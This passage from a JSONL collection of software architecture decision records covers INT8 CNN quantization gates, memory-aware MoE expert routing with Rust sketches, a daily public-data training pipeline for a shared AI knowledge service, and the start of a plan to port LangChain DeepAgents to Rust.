fused layer accuracy drops >2% vs unfused.\n\n### 12.4 Gate 4: Calibration (Week 5)\n\n**Entry**: Gate 3 passed\n**Exit Criteria**:\n- [ ] MinMax calibration working\n- [ ] Percentile calibration working\n- [ ] Calibration time <30s for 100 images\n\n**Rollback**: If calibration produces worse results than naive min/max.\n\n### 12.5 Gate 5: End-to-End Model (Week 6)\n\n**Entry**: Gate 4 passed\n**Exit Criteria**:\n- [ ] `QuantizedMobileNetV3` end-to-end inference\n- [ ] Cosine similarity \u22650.995 vs FP32\n- [ ] Latency <5ms on M4\n\n**Rollback Condition**: Cosine similarity <0.992 OR latency improvement <1.8x.\n\n### 12.6 Gate 6: Platform Kernels (Week 7)\n\n**Entry**: Gate 5 passed\n**Exit Criteria**:\n- [ ] NEON INT8 kernels passing accuracy tests\n- [ ] WASM SIMD INT8 kernels passing accuracy tests\n- [ ] Scalar fallback for all operations\n\n**Rollback**: If any platform <1.5x speedup vs FP32.\n\n### 12.7 Gate 7: Production Ready (Week 8)\n\n**Entry**: Gate 6 passed\n**Exit Criteria**:\n- [ ] Criterion benchmark suite complete\n- [ ] Accuracy validation suite complete\n- [ ] Documentation complete\n- [ ] CI integration complete\n\n**Rollback**: If any acceptance benchmark fails.\n\n---\n\n## 13. Rollback Conditions\n\n**Immediate rollback triggers:**\n\n| Condition | Action |\n|-----------|--------|\n| Cosine similarity < 0.992 | Revert to FP32, investigate calibration |\n| Latency improvement < 1.8x | Profile, optimize, or revert |\n| Accuracy drop > 2% | Revert to FP32, consider QAT (ADR-090) |\n| SIMD kernel produces NaN/Inf | Revert to scalar, fix overflow |\n| Memory usage > FP32 | Investigate padding/alignment issues |\n| CI benchmark regression > 10% | Block merge, investigate |\n\n**Recovery path**: FP32 remains the default; INT8 is opt-in via feature flag.\n\n---\n\n## 14. Consequences\n\n### 14.1 Positive\n\n- **2-4x inference speedup**: Significant performance improvement for real-time applications\n- **4x memory reduction**: INT8 weights/activations are 1 byte vs 4 bytes\n- **Better cache utilization**: Smaller data fits in L1/L2 cache\n- **Edge deployment**: Enables deployment on memory-constrained devices\n- **Standard approach**: INT8 PTQ is well-understood, low risk\n\n### 14.2 Negative\n\n- **Calibration requirement**: Need representative data for accurate quantization\n- **Slight accuracy loss**: <1% but non-zero degradation\n- **Maintenance burden**: Additional kernel implementations per platform\n- **Testing complexity**: Need to validate both FP32 and INT8 paths\n\n### 14.3 Mitigations\n\n- **Calibration data**: Provide default calibration from ImageNet subset\n- **Accuracy validation**: Automated accuracy regression tests in CI\n- **Kernel sharing**: Share patterns between AVX2/NEON/WASM implementations\n- **Feature gating**: INT8 is opt-in; FP32 remains default\n\n---\n\n## 15. Related Decisions\n\n- **ADR-090**: Ultra-Low-Bit QAT & Pi-Quantization (LLM quantization patterns)\n- **ADR-003**: SIMD Optimization Strategy (existing SIMD infrastructure)\n- **ADR-005**: WASM Runtime Integration (WASM deployment patterns)\n- **ADR-001**: RuVector Core Architecture (overall system design)\n\n---\n\n## 16. References\n\n- `crates/ruvector-cnn/docs/INT8_QUANTIZATION_DESIGN.md` \u2014 Detailed implementation design\n- \"Quantization and Training of Neural Networks for Efficient Integer-Arithmetic-Only Inference\" (Google, 2018)\n- \"A Survey of Quantization Methods for Efficient Neural Network Inference\" (Wu et al., 2021)\n- Intel Intrinsics Guide: AVX2 integer operations\n- PyTorch Quantization documentation\n- TensorRT INT8 calibration documentation", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-091-int8-cnn-quantization-ddd.md", "created_at": "2026-03-28T11:58:49.940568+00:00", "content_hash": "8212cd2e732372041969b7d938c120ec6045d23d3ca83366b883a80f521024ae"} +{"id": "c57eceab-24f1-4d90-9f51-7e0ab3d78e1f", "source": "adr", "text": "# ADR-092: MoE Memory-Aware Routing \u2014 Domain-Driven Design Architecture\n\n**Status**: Accepted\n**Date**: 2026-03-12\n**Authors**: RuVector Architecture Team\n**Deciders**: ruv\n**Technical Area**: MoE Routing / Expert Caching / Mixed Precision / Edge Deployment\n**Split From**: ADR-090 (Ultra-Low-Bit QAT & Pi-Quantization)\n**Related**: ADR-090 (Ultra-Low-Bit QAT), ADR-091 (INT8 CNN Quantization), ADR-024 (BitNet)\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-03-12 | RuVector Team | Initial ADR, split from ADR-090 Section 2.4 |\n\n---\n\n## Decision Statement\n\n**ADR-092 formalizes memory-aware expert routing as a separate concern from quantization representation.**\n\nThis decision recognizes that MoE routing affects:\n- **Scheduling**: Which experts are prefetched vs evicted\n- **Cache Policy**: LRU/LFU/ARC replacement with affinity bonuses\n- **Latency**: Expert paging introduces variable inference latency\n- **Memory Hierarchy**: SRAM/DRAM/Flash tiering decisions\n\nThese are **scheduling and caching concerns**, not quantization concerns. Splitting to ADR-092 allows:\n1. Independent development timeline from quantization work\n2. Clear ownership and testing boundaries\n3. Ability to ship memory-aware routing without QAT dependency\n\n**Acceptance Benchmark**: Memory-aware routing must achieve \u226570% cache hit rate (vs ~34% baseline) with \u22641% accuracy degradation on Mixtral-8x7B workload simulation.\n\n---\n\n## System Invariants\n\n| Invariant | Rule | Rationale |\n|-----------|------|-----------|\n| **INV-1: Cache Consistency** | Expert weights in cache match persisted weights (checksum verified on load) | Data integrity |\n| **INV-2: Affinity Monotonicity** | EMA-based affinity scores decrease monotonically without new activations | Predictable eviction |\n| **INV-3: Budget Enforcement** | Total cached experts \u2264 configured memory budget at all times | OOM prevention |\n| **INV-4: Precision Preservation** | Expert precision metadata travels with cached weights | Correct dequantization |\n| **INV-5: Paging Atomicity** | Expert paging is atomic: either fully loaded or not present | Partial load prevention |\n| **INV-6: Router Determinism** | Same input + same cache state \u2192 same routing decision | Reproducibility |\n\n---\n\n## Acceptance Gates\n\n| Gate | Entry Criteria | Exit Criteria | Rollback Trigger |\n|------|----------------|---------------|------------------|\n| **G1: Cache Hit Rate** | Baseline measured | \u226570% hit rate (vs 34% baseline) | <50% hit rate after tuning |\n| **G2: Accuracy Retention** | Baseline perplexity | \u22641% perplexity increase | >2% perplexity increase |\n| **G3: Latency Bounds** | Baseline p99 latency | \u226410% p99 latency increase | >25% p99 increase |\n| **G4: Memory Budget** | Budget configured | Zero OOM in 24h stress test | Any OOM event |\n| **G5: Integration** | Standalone tests pass | Mixtral backend integration works | Integration test failures |\n\n### Rollback Conditions\n\n| Condition | Detection | Action |\n|-----------|-----------|--------|\n| **Cache hit rate too low** | G1 fails | Tune affinity decay; if <50% after tuning, revert to standard top-K |\n| **Accuracy degradation** | G2 fails | Reduce routing bonus weight; if still fails, disable memory-awareness |\n| **Latency regression** | G3 fails | Profile paging path; optimize or revert |\n| **OOM events** | G4 fails | Reduce budget or expert count; investigate leak |\n\n---\n\n## 1. Context and Problem Statement\n\n### 1.1 Current State\n\nruvLLM's MoE implementation uses standard top-K expert routing:\n\n| Component | File | Current Behavior |\n|-----------|------|------------------|\n| Expert Cache | `bitnet/expert_cache.rs` | LRU/LFU/ARC eviction without affinity |\n| MoE Scheduler | `bitnet/expert_cache.rs` | Batch scheduling without precision hints |\n| Mixtral Backend | `backends/mistral_backend.rs` | Standard top-2 routing |\n\n### 1.2 Problem\n\n1. **Cache Thrashing**: Standard top-K routing ignores cache residency, causing 66% miss rate on edge devices with limited memory.\n\n2. **No Affinity Tracking**: Experts that are frequently activated together are not kept together in cache.\n\n3. **Uniform Precision**: All experts use same quantization format regardless of activation frequency.\n\n4. **No Prefetching**: Experts are loaded on-demand, introducing latency spikes.\n\n### 1.3 Research Foundation\n\nFrom `docs/research/quantization-edge/04-moe-memory-aware-routing.md`:\n- Memory-aware routing achieves +54% throughput with <1% accuracy loss\n- EMA-based affinity tracking enables predictive prefetching\n- Frequency-based precision allocation: hot experts at higher precision, cold at lower\n\n### 1.4 Strategic Goal\n\nEnable efficient MoE inference on memory-constrained devices:\n- **Raspberry Pi 5**: 8GB RAM, budget for 4-6 experts in memory\n- **Mobile**: 2-3GB available, budget for 2-4 experts\n- **Browser**: WASM with configurable budget\n\nTarget: \u226570% cache hit rate with \u226410% latency overhead.\n\n---\n\n## 2. Domain Analysis\n\n### 2.1 Bounded Context: MoE Routing Domain\n\n**Responsibility**: Memory-aware expert selection, paging, mixed precision.\n\n**Aggregate Roots**:\n- `MemoryAwareRouter` \u2014 Expert selection with cache residency bonus\n- `ExpertPrecisionAllocator` \u2014 Per-expert bit-width assignment\n- `SramMapper` \u2014 Hardware memory hierarchy configuration\n\n**Value Objects**:\n- `ExpertAffinity` \u2014 EMA-based long-term usage tracking\n- `CacheResidencyState` \u2014 Hot/cold expert classification\n- `PrecisionMap` \u2014 Expert ID to quantization format mapping\n- `PagingRequest` \u2014 Async expert load/evict request\n\n**Domain Events**:\n- `ExpertPaged { expert_id, direction: In|Out, latency_us }`\n- `PrecisionRebalanced { expert_id, old_bits, new_bits, reason }`\n- `CacheHitRateChanged { old_rate, new_rate }`\n- `AffinityUpdated { expert_id, old_score, new_score }`\n\n**Integration with existing code**:\n\n| Existing File | Integration |\n|---------------|-------------|\n| `bitnet/expert_cache.rs` | Extend `ExpertCache` with affinity-aware eviction |\n| `bitnet/expert_cache.rs` | Extend `MoeBatchScheduler` with precision hints |\n| `backends/mistral_backend.rs` | Mixtral model MoE routing hook |\n\n**New files**:\n\n```\ncrates/ruvllm/src/moe/\n mod.rs # Public API\n router.rs # MemoryAwareRouter with cache bonus\n affinity.rs # EMA-based affinity tracking\n expert_manager.rs # Expert lifecycle + async paging\n precision_allocator.rs # Frequency-based precision assignment\n sram_mapper.rs # Platform-specific memory hierarchy config\n metrics.rs # Cache hit rate, paging latency tracking\n```\n\n---\n\n## 3. Architecture\n\n### 3.1 Memory-Aware Router\n\n```rust\n// In moe/router.rs\n\npub struct MemoryAwareRouter {\n /// Standard router scores (from gate network)\n base_router: Box<dyn ExpertRouter>,\n /// Cache residency bonus weight (0.0 - 1.0)\n cache_bonus: f32,\n /// Expert affinity tracker\n affinity: ExpertAffinity,\n /// Current cache state\n cache_state: Arc<RwLock<CacheResidencyState>>,\n}\n\nimpl MemoryAwareRouter {\n /// Route with memory awareness\n /// Returns: (selected_experts, paging_requests)\n pub fn route(\n &mut self,\n gate_logits: &[f32],\n top_k: usize,\n ) -> (Vec<ExpertId>, Vec<PagingRequest>) {\n // 1. Compute base scores from gate network\n let base_scores = self.base_router.score(gate_logits);\n\n // 2. Add cache residency bonus\n let adjusted_scores = self.apply_cache_bonus(&base_scores);\n\n // 3. Select top-K experts\n let selected = self.select_top_k(&adjusted_scores, top_k);\n\n // 4. Update affinity for selected experts\n self.affinity.update(&selected);\n\n // 5. Generate paging requests for non-resident experts\n let paging = self.generate_paging_requests(&selected);\n\n (selected, paging)\n }\n\n fn apply_cache_bonus(&self, scores: &[f32]) -> Vec<f32> {\n let cache = self.cache_state.read();\n scores.iter().enumerate().map(|(id, &score)| {\n let bonus = if cache.is_resident(id) { self.cache_bonus } else { 0.0 };\n score + bonus\n }).collect()\n }\n}\n```\n\n### 3.2 Expert Affinity Tracking\n\n```rust\n// In moe/affinity.rs\n\npub struct ExpertAffinity {\n /// EMA scores per expert (0.0 - 1.0)\n scores: Vec<f32>,\n /// Decay factor (e.g., 0.99)\n decay: f32,\n}\n\nimpl ExpertAffinity {\n /// Update affinity for activated experts\n pub fn update(&mut self, activated: &[ExpertId]) {\n // Decay all scores\n for score in &mut self.scores {\n *score *= self.decay;\n }\n // Boost activated experts\n for &id in activated {\n self.scores[id] = (self.scores[id] + 1.0).min(1.0);\n }\n }\n\n /// Get experts sorted by affinity (for prefetching)\n pub fn top_k_by_affinity(&self, k: usize) -> Vec<ExpertId> {\n // Returns top-K experts by EMA score\n }\n}\n```\n\n### 3.3 Precision Allocator\n\n```rust\n// In moe/precision_allocator.rs\n\npub struct PrecisionAllocator {\n /// Activation counts per expert\n counts: Vec<u64>,\n /// Precision thresholds\n config: PrecisionConfig,\n}\n\npub struct PrecisionConfig {\n /// Experts above this percentile get high precision\n hot_percentile: f32, // e.g., 0.9\n /// Experts below this percentile get low precision\n cold_percentile: f32, // e.g., 0.3\n /// Precision formats\n hot_format: TargetFormat, // e.g., Q4_K_M\n warm_format: TargetFormat, // e.g., PiQ3\n cold_format: TargetFormat, // e.g., PiQ2\n}\n\nimpl PrecisionAllocator {\n /// Assign precision based on activation frequency\n pub fn allocate(&self, expert_id: ExpertId) -> TargetFormat {\n let percentile = self.compute_percentile(expert_id);\n match percentile {\n p if p >= self.config.hot_percentile => self.config.hot_format,\n p if p >= self.config.cold_percentile => self.config.warm_format,\n _ => self.config.cold_format,\n }\n }\n}\n```\n\n### 3.4 Integration with Expert Cache\n\n```rust\n// Extend existing bitnet/expert_cache.rs\n\nimpl ExpertCache {\n /// Eviction with affinity awareness\n pub fn evict_with_affinity(\n &mut self,\n affinity: &ExpertAffinity,\n ) -> Option<ExpertId> {\n // Combine LRU/LFU with affinity score\n // Evict expert with lowest combined score\n }\n\n /// Prefetch based on affinity predictions\n pub async fn prefetch_by_affinity(\n &mut self,\n affinity: &ExpertAffinity,\n budget: usize,\n ) {\n let candidates = affinity.top_k_by_affinity(budget);\n for id in candidates {\n if !self.is_resident(id) {\n self.load_async(id).await;\n }\n }\n }\n}\n```\n\n---\n\n## 4. Success Criteria\n\n### 4.1 Correctness Criteria\n\n| Criterion | Target | Validation |\n|-----------|--------|------------|\n| Cache consistency | Checksums match | Load-verify test |\n| Affinity monotonicity | Decay property holds | Property test |\n| Budget enforcement | Zero overruns | Stress test |\n| Router determinism | Reproducible | Seeded test |\n\n### 4.2 Performance Criteria\n\n| Metric | Baseline | Target | Method |\n|--------|----------|--------|--------|\n| Cache hit rate | 34% | \u226570% | Mixtral workload simulation |\n| Routing overhead | 5 \u03bcs | \u226415 \u03bcs | Criterion benchmark |\n| Prefetch accuracy | N/A | \u226560% | Prediction vs actual |\n| Paging latency p99 | N/A | \u226450 ms | Expert load timing |\n\n### 4.3 Model Quality Criteria\n\n| Metric | Baseline (standard routing) | Target (memory-aware) |\n|--------|-----------------------------|-----------------------|\n| Perplexity | 100% | \u2264101% (+1% max) |\n| Throughput | 100% | \u2265150% (+50% min) |\n\n### 4.4 Rollout Readiness\n\n| Criterion | Requirement |\n|-----------|-------------|\n| Feature flag | `moe-memory-aware` feature gate |\n| Fallback | Graceful degradation to standard routing |\n| Metrics export | Cache hit rate, paging latency exposed |\n| Documentation | Integration guide for Mixtral |\n\n---\n\n## 5. Implementation Timeline\n\n| Week | Phase | Deliverables |\n|------|-------|--------------|\n| 11 | **Core Routing** | `MemoryAwareRouter`, affinity tracking |\n| 12 | **Cache Integration** | Extend `ExpertCache` with affinity eviction |\n| 13 | **Precision Allocation** | `PrecisionAllocator`, format assignment |\n| 14 | **Integration** | Mixtral backend integration, benchmarks |\n\n**Note**: This timeline assumes ADR-090 Phase 1-3 (quantization) completes first. MoE routing can proceed independently but precision allocation requires quantization formats.\n\n---\n\n## 6. Consequences\n\n### 6.1 Positive\n\n- **54% throughput improvement** on memory-constrained devices\n- **70% cache hit rate** reduces paging overhead\n- **Mixed precision** further reduces memory without quality loss\n- **Independent development** from quantization work\n\n### 6.2 Negative\n\n- **Routing overhead** increases from 5 \u03bcs to 10-15 \u03bcs\n- **Complexity** adds new domain with async paging\n- **State management** requires cache state synchronization\n\n### 6.3 Mitigations\n\n- Routing overhead is amortized over expert computation (100s of ms)\n- DDD boundaries isolate complexity\n- Cache state uses RwLock for safe concurrent access\n\n---\n\n## 7. References\n\n- `docs/research/quantization-edge/04-moe-memory-aware-routing.md`\n- ADR-090: Ultra-Low-Bit QAT & Pi-Quantization (parent ADR)\n- DeepSeek MoE: Memory-efficient expert routing\n- Mixtral 8x7B: Sparse MoE architecture", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-092-moe-memory-aware-routing-ddd.md", "created_at": "2026-03-28T11:58:49.940765+00:00", "content_hash": "47e7f2315ae5d5e874f04a90d8cb7fb002071c0491348abcb9f0f105468c4ba1"} +{"id": "7f9dfbbe-8228-4a47-8466-f6f1e65ae375", "source": "adr", "text": "# ADR-093: Daily Discovery & Brain Training Program\n\n**Status**: Accepted\n**Date**: 2026-03-15\n**Author**: rUv (Reuven Cohen)\n**Deciders**: rUv\n\n## Context\n\n\u03c0.ruv.io is a shared AI brain \u2014 a collective intelligence network where every connection makes the whole smarter. Currently, knowledge enters the brain through manual agent sessions. To realize the vision of a continuously learning, self-improving system that serves humanity, we need an automated discovery and training pipeline that runs daily.\n\nThis program embodies rUv's core philosophy: **technology should be altruistic and benevolent** \u2014 built not for extraction, but for the collective enrichment of human knowledge. Every discovery the brain makes is shared openly, every pattern learned improves understanding for all connected agents.\n\n## Decision\n\n### Architecture: Daily Discovery Training Pipeline\n\nImplement a Cloud Run scheduled job that executes daily, fetching real-world data from open scientific APIs, running RuVector's discovery engine for anomaly detection and pattern recognition, and feeding findings into the \u03c0.ruv.io brain's SONA learning engine.\n\n### Guiding Principles\n\n1. **Altruistic Knowledge**: All discoveries are shared freely through the brain's open API\n2. **Benevolent Intelligence**: The system optimizes for human understanding, not competitive advantage\n3. **Scientific Rigor**: Only real data from verified public sources; no synthetic fabrication\n4. **Collective Benefit**: Every training cycle makes the brain smarter for ALL connected agents\n5. **Transparent Provenance**: All discoveries carry witness chains proving data lineage\n\n### Discovery Domains (6 active)\n\n| Domain | APIs | Cadence | Purpose |\n|--------|------|---------|---------|\n| Space Science | NASA Exoplanet Archive, NeoWs, DONKI | Daily | Exoplanet anomalies, asteroid tracking, solar activity |\n| Earth Science | USGS Earthquakes, NOAA Climate | Daily | Seismic patterns, climate regime changes |\n| Academic Research | arXiv, biorxiv, OpenAlex | Daily | Emerging research trends, cross-domain bridges |\n| Economics & Markets | FRED, World Bank, CoinGecko | Daily | Macro indicators, regime changes, divergence signals |\n| Medical & Genomics | PubMed, ClinicalTrials, GWAS | Weekly | Therapeutic trends, genomic discoveries |\n| Materials & Physics | CERN, Materials Project, Argo | Weekly | Particle physics, materials discoveries, ocean monitoring |\n\n### Pipeline Architecture\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Cloud Scheduler (daily 02:00 UTC) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Cloud Run Job: ruvbrain-trainer \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 Space \u2502 \u2502 Earth \u2502 \u2502 Academic \u2502 \u2502 Economics \u2502\u2502\n\u2502 \u2502 Discovery \u2502 \u2502 Discovery \u2502 \u2502 Discovery \u2502 \u2502 Discovery \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 RuVector Discovery Engine \u2502\u2502\n\u2502 \u2502 \u2022 Coherence analysis (min-cut anomaly detection) \u2502\u2502\n\u2502 \u2502 \u2022 Cross-domain bridge detection \u2502\u2502\n\u2502 \u2502 \u2022 Temporal trend analysis \u2502\u2502\n\u2502 \u2502 \u2022 Statistical significance testing \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 \u03c0.ruv.io Brain Training \u2502\u2502\n\u2502 \u2502 \u2022 POST /v1/memories (with witness chains) \u2502\u2502\n\u2502 \u2502 \u2022 SONA learning cycle trigger \u2502\u2502\n\u2502 \u2502 \u2022 LoRA delta submission for federation \u2502\u2502\n\u2502 \u2502 \u2022 Knowledge graph re-partitioning \u2502\u2502\n\u2502 \u2502 \u2022 Embedding drift monitoring \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Training Flow\n\n1. **Fetch**: Pull fresh data from 6+ public APIs (rate-limited, polite)\n2. **Analyze**: Run RuVector discovery engine \u2014 min-cut anomaly detection, coherence signals, cross-domain bridges\n3. **Filter**: Apply significance thresholds (p < 0.05, confidence > 0.7)\n4. **Package**: Wrap each discovery in RVF container with witness chain\n5. **Train**: POST to \u03c0.ruv.io brain API \u2192 triggers SONA learning cycle\n6. **Federate**: Submit LoRA deltas for distributed learning\n7. **Monitor**: Track embedding drift, knowledge velocity, meta-regret\n8. **Report**: Generate daily discovery digest\n\n### Cloud Run Job Configuration\n\n- **Service**: `ruvbrain-trainer`\n- **Region**: `us-central1`\n- **Schedule**: `0 2 * * *` (daily at 02:00 UTC)\n- **Timeout**: 30 minutes\n- **Memory**: 512Mi\n- **CPU**: 1\n- **Max retries**: 2\n\n### Quality Gates\n\n- Each discovery must pass significance testing before brain ingestion\n- Minimum confidence threshold: 0.70\n- Duplicate detection via embedding similarity (>0.95 = skip)\n- Rate limiting: max 100 new memories per training cycle\n- All data sources must be public, open-access APIs\n\n### Benevolence Constraints\n\nThe system SHALL:\n- Only use freely available, open-access data sources\n- Never store personally identifiable information\n- Share all discoveries through the brain's public API\n- Maintain transparent provenance chains for every finding\n- Optimize for collective human understanding, not profit\n- Respect API rate limits and usage policies of all data providers\n\n## Consequences\n\n### Positive\n- Brain learns continuously without human intervention\n- Cross-domain discoveries emerge that no single researcher would find\n- Knowledge velocity increases from 0.0 to measurable growth\n- SONA training cycles produce real domain expertise\n- Every agent connecting to \u03c0.ruv.io benefits from accumulated knowledge\n\n### Negative\n- Cloud Run costs (~$2-5/month for daily job)\n- API rate limit management complexity\n- Need monitoring for data quality regression\n\n### Risks\n- API endpoints may change or become unavailable \u2192 fallback data sources\n- Discovery false positives \u2192 significance thresholds and human review\n- Embedding drift from rapid ingestion \u2192 drift monitor with pause trigger\n\n## Implementation\n\n### Phase 1: Core Pipeline (Week 1)\n- `crates/mcp-brain-server/src/trainer.rs` \u2014 Discovery trainer module\n- `scripts/train_brain.sh` \u2014 CLI training driver\n- Cloud Run job Dockerfile and scheduler\n\n### Phase 2: Domain Expansion (Week 2)\n- Medical/genomics integration\n- Materials science integration\n- Patent/innovation tracking\n\n### Phase 3: Optimization (Week 3)\n- SONA cycle tuning based on knowledge velocity metrics\n- Cross-domain bridge detection improvement\n- Daily digest notification system\n\n## References\n\n- ADR-040: Planet detection pipeline (original discovery architecture)\n- ADR-059: Shared brain Google Cloud deployment\n- ADR-057: Federated RVF transfer learning\n- \u03c0.ruv.io brain-manifest.json: System capabilities", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-093-daily-discovery-brain-training.md", "created_at": "2026-03-28T11:58:49.940900+00:00", "content_hash": "e7a0f3df59174055eb12c2cb79d9cc14a6a102d32471ec4fd32e8b9758ec9a54"} +{"id": "4fcdedc4-e49f-4d12-a47e-8deafa6192b0", "source": "adr", "text": "# ADR-093: DeepAgents Complete Rust Conversion \u2014 Overview\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Scope** | Full-fidelity Rust port of langchain-ai/deepagents |\n| **Series** | ADR-093 through ADR-102 |\n\n## Context\n\n[LangChain DeepAgents](https://github.com/langchain-ai/deepagents) is a Python-based agent framework (v0.4.11, 10.8k stars) built on LangChain/LangGraph. It provides a batteries-included agent harness with:\n\n- **Core library** (`libs/deepagents/`) \u2014 `create_deep_agent()` factory, backend protocol, middleware pipeline\n- **CLI** (`libs/cli/`) \u2014 Terminal coding agent with Textual TUI, session management, MCP tools\n- **ACP server** (`libs/acp/`) \u2014 Agent Communication Protocol server\n- **Harbor** (`libs/harbor/`) \u2014 Tracing/observability wrapper\n- **Partner integrations** \u2014 Daytona, Modal, Runloop, QuickJS sandbox providers\n\nThis ADR series defines the architecture for a **100% fidelity** Rust conversion using RuVector primitives and the RVF (RuVector Format) serialization layer.\n\n## Decision\n\nWe will convert the entire DeepAgents codebase to Rust as a new set of crates within the RuVector workspace, organized as:\n\n| Python Package | Rust Crate | ADR |\n|---|---|---|\n| `deepagents` (core) | `ruvector-deep-core` | ADR-094, ADR-095 |\n| `deepagents.backends` | `ruvector-deep-backends` | ADR-094 |\n| `deepagents.middleware` | `ruvector-deep-middleware` | ADR-095, ADR-098 |\n| `deepagents.tools` (filesystem) | `ruvector-deep-tools` | ADR-096 |\n| `deepagents.middleware.subagents` | `ruvector-deep-subagents` | ADR-097 |\n| `deepagents_cli` | `ruvector-deep-cli` | ADR-099 |\n| `deepagents_acp` | `ruvector-deep-acp` | ADR-099 |\n| Partner sandboxes | `ruvector-deep-sandbox-*` | ADR-094 |\n\n## Source Analysis \u2014 DeepAgents Architecture\n\n### Core Library (`libs/deepagents/deepagents/`)\n\n```\ndeepagents/\n\u251c\u2500\u2500 __init__.py \u2192 Public API: create_deep_agent, middlewares\n\u251c\u2500\u2500 _models.py \u2192 Model resolution (provider:model format)\n\u251c\u2500\u2500 _version.py \u2192 Version 